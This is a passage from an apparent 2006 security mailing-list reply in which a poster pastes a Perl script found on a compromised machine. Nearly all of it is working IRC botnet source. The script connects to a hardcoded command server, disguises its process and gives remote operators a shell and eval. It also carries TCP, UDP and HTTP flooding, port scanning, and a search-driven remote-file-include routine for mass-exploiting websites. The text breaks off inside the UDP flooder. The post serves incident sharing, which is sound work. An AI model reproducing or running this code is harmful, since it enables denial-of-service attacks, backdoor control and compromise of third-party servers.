Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: High volume of Mambo scans |
|---|---|
| Date: | 18 Aug 2006 11:22:40 -0000 |
I've found something similar on one of my machines (tmp) :
-- cut --
#!/usr/bin/perl
# this spreader is coded by xdh
# xdh@bsdmail.com
# only for testing...
my @nickname = ("index.php?page=",
"Abdulrazak",
"Ackerman",
"Adams",
"Addison",
"Adelstein",
"Adibe",
"Adorno",
"Ahlers",
"Alavi",
"Alcorn",
"Alda",
"Aleks",
"Allison",
"Alongi",
"Altavilla",
"Altenberger",
"Altenhofen",
"Amaral",
"Amatangelo",
"Ameer",
"Amsden",
"Anand",
"Andel",
"Ando",
"Andrelus",
"Andron",
"Anfinrud",
"Ansley",
"Anthony",
"Antos",
"Arbia",
"Arduini",
"Arellano",
"Aristotle",
"Arjas",
"Arky",
"Atkins",
"Augustus",
"Aurelius",
"Axelrod",
"Axworthy",
"Ayiemba",
"Aykroyd",
"Ayling",
"Azima",
"Bachmuth",
"Backus",
"Bady",
"Baglivo",
"Bagnold",
"Bailar",
"Bakanowsky",
"Baleja",
"Ballatori",
"Ballew",
"Baltz",
"Banta",
"Barabesi",
"Barajas",
"Baranczak",
"Baranowska",
"Barberi",
"Barbetti",
"Barneson",
"Barnett",
"Barriola",
"Barry",
"Bartholomew",
"Bartolome",
"Bartoo",
"Basavappa",
"Bashevis",
"Batchelder",
"Baumiller",
"Bayles",
"Bayo",
"Beacon",
"Beal",
"Bean",
"Beckman",
"Beder",
"Bedford",
"Behenna",
"Belanger",
"Belaoussof",
"Belfer",
"Belin-Collart",
"Bellavance",
"Bellhouse",
"Bellini",
"Belloc",
"Benedict-Dye",
"Bergson",
"Berke-Jenkins",
"Bernardo",
"Bernassola",
"Bernston",
"Berrizbeitia",
"Betti",
"Beynart",
"Biagioli",
"Bickel",
"Binion",
"Bir",
"Bisema",
"Bisho",
"Blackbourn",
"Blackwell",
"Blagg",
"Blakemore",
"Blanke",
"Bliss",
"Blizard",
"Bloch",
"Bloembergen",
"Bloemhof",
"Bloxham",
"Blyth",
"Bolger",
"Bolick",
"Bollinger",
"Bologna",
"Boner",
"Bonham",
"Boniface",
"Bontempo",
"Book",
"Bookbinder",
"Boone",
"Boorstin",
"Borack",
"Borden",
"Bossi",
"Bothman",
"Botosh",
"Boudin",
"Boudrot",
"Bourneuf",
"Bowers",
"Boxer",
"Boyajian",
"Boyes",
"Boyland",
"Boym",
"Boyne",
"Bracalente",
"Bradac",
"Bradach",
"Brecht",
"Breed",
"Brenan",
"Brennan",
"Brewer",
"Brewer",
"Bridgeman",
"Bridges",
"Brinton",
"Britz",
"Broca",
"Brook",
"Brzycki",
"Buchan",
"Budding",
"Bullard",
"Bunton",
"Burden",
"Burdzy",
"Burke",
"Burridge",
"Busetta",
"Byatt",
"Byerly",
"Byrd",
"Cage",
"Calnan",
"Cammelli",
"Cammilleri",
"Canley",
"Capanni",
"Caperton",
"Capocaccia",
"Capodilupo",
"Cappuccio",
"Capursi",
"Caratozzolo",
"Carayannopoulos",
"Carlin",
"Carlos",
"Carlyle",
"Carmichael",
"Caroti",
"Carper",
"Cartmill",
"Cascio",
"Case",
"Caspar",
"Castelda",
"Cavanagh",
"Cavell",
"Ceniceros",
"Cerioli",
"Chapman",
"Charles",
"Cheang",
"Cherry",
"Chervinsky",
"Chiassino",
"Chien",
"Childress",
"Childs",
"Chinipardaz",
"Chinman",
"Christenson",
"Christian",
"Christiano",
"Christie",
"Christopher",
"Chu",
"Chupasko",
"Church",
"Ciampaglia",
"Cicero",
"Cifarelli",
"Claffey",
"Clancy",
"Clark",
"Clement",
"Clifton",
"Clow",
"Coblenz",
"Coito",
"Coldren",
"Colella",
"Collard",
"Collis",
"Compton",
"Compton",
"Comstock",
"Concino",
"Condodina",
"Connors",
"Corey",
"Cornish",
"Cosmides",
"Counter",
"Coutaux",
"Crawford",
"Crocker",
"Croshaw",
"Croxen",
"Croxton",
"Cui",
"Currier",
"Cutler",
"Cvek",
"Cyders",
"daSilva",
"Daldalian",
"Daly",
"D'Ambra",
"Danieli",
"Dante",
"Dapice",
"D'arcangelo",
"Das",
"Dasgupta",
"Daskalu",
"David",
"Dawkins",
"DeGennaro",
"DeLaPena",
"del'Enclos",
"deRousse",
"Debroff",
"Dees",
"Defeciani",
"Delattre",
"Deleon-Rendon",
"Delger",
"Dell'acqua",
"Deming",
"Dempster",
"Demusz",
"Denault",
"Denham",
"Denison",
"Desombre",
"Deutsch",
"D'fini",
"Dicks",
"Diefenbach",
"Difabio",
"Difronzo",
"Dilworth",
"Dionysius",
"Dirksen",
"Dockery",
"Doherty",
"Donahue",
"Donner",
"Doonan",
"Dore",
"Dorf",
"Dosi",
"Doty",
"Doug",
"Dowsland",
"Drinker",
"D'souza",
"Duffin",
"Durrett",
"Dussault",
"Dwyer",
"Eardley",
"Ebeling",
"Eckel",
"Edley",
"Edner",
"Edward",
"Eickenhorst",
"Eliasson",
"Elmendorf",
"Elmerick",
"Elvis",
"Encinas",
"Enyeart",
"Eppling",
"Erbach",
"Erdman",
"Erdos",
"Erez",
"Espinoza",
"Estes",
"Etter",
"Euripides",
"Everett",
"Fabbris",
"Fagan",
"Faioes",
"Falco-Acosta",
"Falorsi",
"Faris",
"Farone",
"Farren",
"Fasso'",
"Fates",
"Feigenbaum",
"Fejzo",
"Feldman",
"Fernald",
"Fernandes",
"Ferrante",
"Ferriell",
"Feuer",
"Fido",
"Field",
"Fink",
"Finkelstein",
"Finnegan",
"Fiorina",
"Fisk",
"Fitzmaurice",
"Flier",
"Flores",
"Folks",
"Forester",
"Fortes",
"Fortier",
"Fossey",
"Fossi",
"Francisco",
"Franklin-Kenea",
"Franz",
"Frazier-Davis",
"Freid",
"Freundlich",
"Fried",
"Friedland",
"Frisken",
"Frowiss",
"Fryberger",
"Frye",
"Fujii-Abe",
"Fuller",
"Furth",
"Fusaro",
"Gabrielli",
"Gaggiotti",
"Galeotti",
"Galwey",
"Gambini",
"Garfield",
"Garman",
"Garonna",
"Geller",
"Gemberling",
"Georgi",
"Gerrett",
"Ghorai",
"Gibbens",
"Gibson",
"Gilbert",
"Gili",
"Gill",
"Gillispie",
"Gist",
"Gleason",
"Glegg",
"Glendon",
"Goldfarb",
"Goncalves",
"Good",
"Goodearl",
"Goody",
"Gozzi",
"Gravell",
"Greenberg",
"Greenfeld",
"Griffiths",
"Grigoletto",
"Grummell",
"Gruner",
"Gruppe",
"Guenthart",
"Gunn",
"Guo",
"Ha",
"Haar",
"Hackman",
"Hackshaw",
"Haley",
"Halkias",
"Hallowell",
"Halpert",
"Hambarzumjan",
"Hamer",
"Hammerness",
"Hand",
"Hanssen",
"Harding",
"Hargraves",
"Harlow",
"Harrigan",
"Hartman",
"Hartmann",
"Hartnett",
"Harwell",
"Haviaras",
"Hawkes",
"Hayes",
"Haynes",
"Hazlewood",
"Heermans",
"Heft",
"Heiland",
"Hellman",
"Hellmiss",
"Helprin",
"Hemphill",
"Henery",
"Henrichs",
"Hernandez",
"Herrera",
"Hester",
"Heubert",
"Heyeck",
"Himmelfarb",
"Hind",
"Hirst",
"Hitchcock",
"Hoang",
"Hock",
"Hoffer",
"Hoffman",
"Hokanson",
"Hokoda",
"Holmes",
"Holoien",
"Holter",
"Holway",
"Holzman",
"Hooker",
"Hopkins",
"Horsley",
"Hoshida",
"Hostage",
"Hottle",
"Howard",
"Hoy",
"Huey",
"Huidekoper",
"Hungerford",
"Huntington",
"Hupp",
"Hurtubise",
"Hutchings",
"Hyde",
"Iaquinta",
"Ichikawa",
"Igarashi",
"Inamura",
"Inniss",
"Isaac",
"Isaievych",
"Isbill",
"Isserman",
"Iyer",
"Jacenko",
"Jackson",
"Jagers",
"Jagger",
"Jagoe",
"Jain",
"Jamil",
"Janjigian",
"Jarnagin",
"Jarrell",
"Jay",
"Jeffers",
"Jellis",
"Jenkins",
"Jespersen",
"Jewett",
"Johannesson",
"Johannsen",
"Johns",
"Jolly",
"Jorgensen",
"Jucks",
"Juliano",
"Julious",
"Kabbash",
"Kaboolian",
"Kafadar",
"Kalbfleisch",
"Kaligian",
"Kalil",
"Kalinowski",
"Kalman",
"Kamel",
"Kangis",
"Karpouzes",
"Kassower",
"Kasten",
"Kawachi",
"Kee",
"Keenan",
"Keepper",
"Keith",
"Kelker",
"Kelsey",
"Kempton",
"Kemsley",
"Kendall",
"Kerry",
"Keul",
"Khong",
"Kimmel",
"Kimmett",
"Kimura",
"Kindall",
"Kinsley",
"Kippenberger",
"Kirscht",
"Kittridge",
"Kleckner",
"Kleiman",
"Kleinfelder",
"Klemperer",
"Kling",
"Klinkenborg",
"Klint",
"Knuff",
"Kobrick",
"Koch",
"Kohn",
"Koivumaki",
"Kommer",
"Koniaris",
"Konrad",
"Kool",
"Korzybski",
"Kotter",
"Kovaks",
"Kraemer",
"Krailo",
"Krasney",
"Kraus",
"Kroemer",
"Krysiak",
"Kuenzli",
"Kumar",
"Kusman",
"Kuwabara",
"La",
"Labunka",
"Lafler",
"Laing",
"Lallemant",
"Landes",
"Lankes",
"Lantieri",
"Lanzit",
"Laserna",
"Lashley",
"Lawless",
"Lecar",
"Lecce",
"Leclercq",
"Leite",
"Lenard",
"l'Enclos",
"Lesser",
"Lessi",
"Liakos",
"Lidano",
"Liem",
"Light",
"Lightfoot",
"Lim",
"Linares",
"Linda",
"Linder",
"Line",
"Linehan",
"Linzee",
"Lippmann",
"Lipponen",
"Little",
"Litvak",
"Livernash",
"Livi",
"Livolsi",
"Lizardo",
"Locatelli",
"Longworth",
"Loss",
"Loveman",
"Lowenstein",
"Loza",
"Lubin",
"Lucas",
"Luciano",
"Luczkow",
"Luecke",
"Lunetta",
"Luoma",
"Lussier",
"Lutcavage",
"Luzader",
"Ma",
"Maccormac",
"Macdonald",
"Maceachern",
"Macintyre",
"Mackenney",
"MacMillan",
"Macy",
"Madigan",
"Maggio",
"Mahony",
"Maier",
"Maine-Hershey",
"Maisano",
"Malatesta",
"Maller",
"Malova",
"Manalis",
"Mandel",
"Manganiello",
"Mantovan",
"March",
"Marchbanks",
"Marcus",
"Margalit",
"Margetts",
"Marques",
"Martinez",
"Martochio",
"Marton",
"Marubini",
"Mass",
"Matalka",
"Matarazzo",
"Matsukata",
"Mattson",
"Mauzy",
"May",
"Mazzali",
"Mazziotta",
"Mcbride",
"Mccaffery",
"Mccall",
"Mcclearn",
"Mcdowell",
"Mcelroy",
"McFadden",
"Mcghee",
"Mcgoldrick",
"McIlroy",
"Mcintosh",
"Mckenna",
"Mclane",
"Mclaren",
"Mcnealy",
"Mcnulty",
"Meccariello",
"Memisoglu",
"Menzies",
"Merikoski",
"Merlani",
"Merminod",
"Merseth",
"Merz",
"Metelka",
"Metropolis",
"Meurer",
"Michelman",
"Middle",
"Mieher",
"Mills",
"Minh",
"Mini",
"Minichiello",
"Gonzalez",
"Mitropoulos",
"Mittal",
"Mocroft",
"Modestino",
"Moeller",
"Mohr",
"Moiamedi",
"Monque",
"Montilio",
"MooreDeCh.",
"Morani",
"Moreton",
"Morrison",
"Morrow",
"Mortimer",
"Mosher",
"Mosler",
"Mostafavi",
"Motooka",
"Mudarri",
"Muello",
"Mugnai",
"Mulkern",
"Mulroy",
"Mumford",
"Mussachio",
"Naddeo",
"Napolitano",
"Nardi",
"Nardone",
"Naviaux",
"Nayduch",
"Nelson",
"Nenna",
"Nesci",
"Neuman",
"Newfeld",
"Newlin",
"Ng",
"Ni",
"Nickerson",
"Nickoloff",
"Nisenson",
"Nitabach",
"Notman",
"Nuzum",
"Ocougne",
"Ogata",
"Oh",
"O'hagan",
"Oldford",
"Olsen",
"Olson",
"Olszewski",
"O'malley",
"Oman",
"O'meara",
"Opel",
"Oray",
"Orfield",
"Orsi",
"Ospina",
"Ostrowski",
"Ottaviani",
"Otten",
"Ouchida",
"Ovid",
"PaesDealmeida",
"Paine",
"Palayoor",
"Palepu",
"Pallara",
"Palmitesta",
"Panadero",
"Panizzon",
"Pantilla",
"Paoletti",
"Parmeggiani",
"Parris",
"Partridge",
"Pascucci",
"Patefield",
"Patrick",
"Pattullo",
"Pavetti",
"Pavlon",
"Pawloski",
"Paynter",
"Peabody",
"Pearlberg",
"Pederson",
"Peishel",
"Penny",
"Pereira",
"Perko",
"Perlak",
"Perlman",
"Perna",
"Perone",
"Perrimon",
"Peters",
"Petruzello",
"Pettibone",
"Pettit",
"Pfister",
"Pilbeam",
"Pinot",
"Plancon",
"Plant",
"Plasket",
"Plous",
"Po",
"Pocobene",
"Poincaire",
"Pointer",
"Poirier",
"Polak",
"Polanyi",
"Politis",
"Poma",
"Poolman",
"Powers",
"Presper",
"Preucel",
"Prevost",
"Pritchard",
"Pritz",
"Proietti",
"Prothrow-Stith",
"Puccia",
"Pugh",
"Pynchon",
"Quaday",
"Quetin",
"Rabe",
"Rabkin",
"Radeke",
"Rajagopalan",
"Raney",
"Rangan",
"Rankin",
"Rapple",
"Rayport",
"Redden-Tyler",
"Reedquist",
"Cunningham",
"Reinold",
"Remak",
"Renick",
"Repetto",
"Resnik",
"Rhea",
"Richmond",
"Rielly",
"Rindos",
"Rineer",
"Rish",
"Rivera",
"Robinson",
"Rocha",
"Roesler",
"Rogers",
"Ronen",
"Row",
"Royal",
"Ru",
"Ruan",
"Ruderman",
"Ruescher",
"Rush",
"Ryu",
"Sabatello",
"Sadler",
"Safire",
"Sahu",
"Sali",
"Samson",
"Sanchez-Ramirez",
"Sanna",
"Sapers",
"Sarin",
"Sartore",
"Sase",
"Satin",
"Satta",
"Satterthwaite",
"Sawtell",
"Sayied",
"Scarponi",
"Scepan",
"Scharf",
"Scharlemann",
"Scheiner",
"Schiano",
"Schifini",
"Schilling",
"Schmitt",
"Schossberger",
"Schuman",
"Schutte",
"Schuyler",
"Schwan",
"Schwickrath",
"Scovel",
"Scudder",
"Seaton",
"Seeber",
"Segal",
"Sekler",
"Selvage",
"Sen",
"Sennett",
"Seterdahl",
"Sexton",
"Seyfert",
"Shaikh",
"Shakis",
"Shankland",
"Shanley",
"Shar",
"Shatrov",
"Shavelson",
"Shea",
"Sheats",
"Shepherd",
"Sheppard",
"Shepstone",
"Shesko",
"Shia",
"Shibata",
"Shimon",
"Siesto",
"Sigalot",
"Sigini",
"Signa",
"Silverman",
"Silvetti",
"Sinsabaugh",
"Sirilli",
"Sites",
"Skane",
"Skerry",
"Skoda",
"Sloan",
"Slowe",
"Smilow",
"Sniffen",
"Snodgrass",
"Socolow",
"Solon",
"Somers",
"Sommariva",
"Sorabella",
"Sorg",
"Sottak",
"Soukup",
"Soule",
"Soultanian",
"Spanier",
"Sparrow",
"Spaulding",
"Speizer",
"Spence",
"Sperber",
"Spicer",
"Spiegelhalter",
"Spiliotis",
"Spinrad",
"StMartin",
"Stalvey",
"Stam",
"Stang",
"Stassinopolus",
"States",
"Statlender",
"Stefani",
"Steiner",
"Stephanian",
"Stepniewska",
"Stewart-Oaten",
"Stiepock",
"Stillwell",
"Stock",
"Stockton",
"Stockwell",
"Stolzenberg",
"Stonich",
"Storer",
"Stott",
"Strange",
"Strauch",
"Streiff",
"Stringer",
"Sullivan",
"Sumner",
"Suo",
"Surdam",
"Sweeting",
"Sweetser",
"Swindle",
"Tagiuri",
"Tai",
"Talaugon",
"Tambiah",
"Tandler",
"Tanowitz",
"Tatar",
"Taveras",
"Tawn",
"Tcherepnin",
"Teague",
"Temes",
"Temmer",
"Tenney",
"Terracini",
"Than",
"Thavaneswaran",
"Theodos",
"Thibault",
"Thisted",
"Thomsen",
"Throop",
"Tierney",
"Till",
"Timmons",
"Tofallis",
"Tollestrup",
"Tolls",
"Tolman",
"Tomford",
"Toomer",
"Topulos",
"Torresi",
"Torske",
"Towler",
"Toye",
"Traebert",
"Trenga",
"Trewin",
"Tringali",
"Troiani",
"Troy",
"Truss",
"Tsiatis",
"Tsomides",
"Tsukurov",
"Tuck",
"Tudge",
"Tukan",
"Turano",
"Turek",
"Tuttle",
"Twells",
"Tzamarias",
"Ullman",
"Untermeyer",
"Upsdell",
"Urban",
"Urdang-Brown",
"Usdan",
"Uzuner",
"Vacca",
"Waite",
"Valberg",
"Valencia",
"Wales",
"Wallenberg",
"Walter",
"vanAllen",
"VanZwet",
"Vandenberg",
"Vanheeckeren",
"Warshafsky",
"Wasowska",
"Vasquez",
"Waugh",
"Weighart",
"Weingarten",
"Weinhaus",
"Weissbourd",
"Weissman",
"Velasquez",
"Welles",
"Welsh",
"Wengret",
"Venne",
"Verghese",
"Wescott",
"Wetzel",
"Whately",
"Whilton",
"White",
"Whitla",
"Whittaker",
"Viana",
"Viano",
"Wiedersheim",
"Wiener",
"Viens",
"Vignola",
"Wilder",
"Wilhelm",
"Wilk",
"Wilkin",
"Wilkinson",
"Villarreal",
"Willstatter",
"Wilson",
"Vitali",
"Viviani",
"Voigt",
"Wolk",
"VonHoffman",
"Woo",
"Wooden",
"Woods",
"Woods-Powell",
"Vorhaus",
"Votey",
"Yacono",
"Yamane",
"Yankee",
"Yarchuk",
"Yates",
"Ybarra",
"Yedidia",
"Yesson",
"Yetiv",
"Yoffe",
"Yoo",
"Youk-See",
"Yu",
"Zachary",
"Zahedi",
"Zangwill",
"Zegans",
"Zerbini",
"Zoldak",
"Zucconi",
"Zurn",
"Zwiers");
my $nick = $nickname[rand scalar @nickname];
my $ircname = $nickname[rand scalar @nickname];
#system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");
my $processo = 'httpdse';
# funny world...
my $linas_max='4';
my $sleep='5';
my @adms=("anthis");
my @hostauth=("magic.kurwa");
my @canais=("#!voker");
chop (my $realname = 'id');
$servidor='bluetooth.ddo.jp' unless $servidor;
my $porta='8892';
my $VERSAO = 'BUCEFALO';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con
:$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~
/^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick|".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal ddosit");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my
@portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning
".$1." for open ports.");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip,
PeerPort => $porta, Proto => 'tcp', Timeout
=> 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open
port(s): @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open
ports found");
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking
".$1.":".$2." for ".$3." seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack
done ".$1.":".$2.".");
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002
perlb0t ver ".$VERSAO);
}
if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002
Scanning for unpatched INDEXU for ".$1."
seconds.");
srand;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time - $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~
/^(.+)\/(.+)$/;
$url =$path."/SQuery/lib/gore.php?libpath=$boturl?";
$page = http_query($url);
$exploited = $exploited + 1;
}
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002
Exploited ".$exploited." boxes in ".$1."
seconds.");
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002
Attacking ".$1.":80 for ".$2." seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1,
PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost:
".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002
Attacking done ".$1.".");
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking
".$1." with ".$2." Kb packets for
".$3." seconds.");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent
".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in
".$dtime." seconds to ".$1.".");
}
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp}
= 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
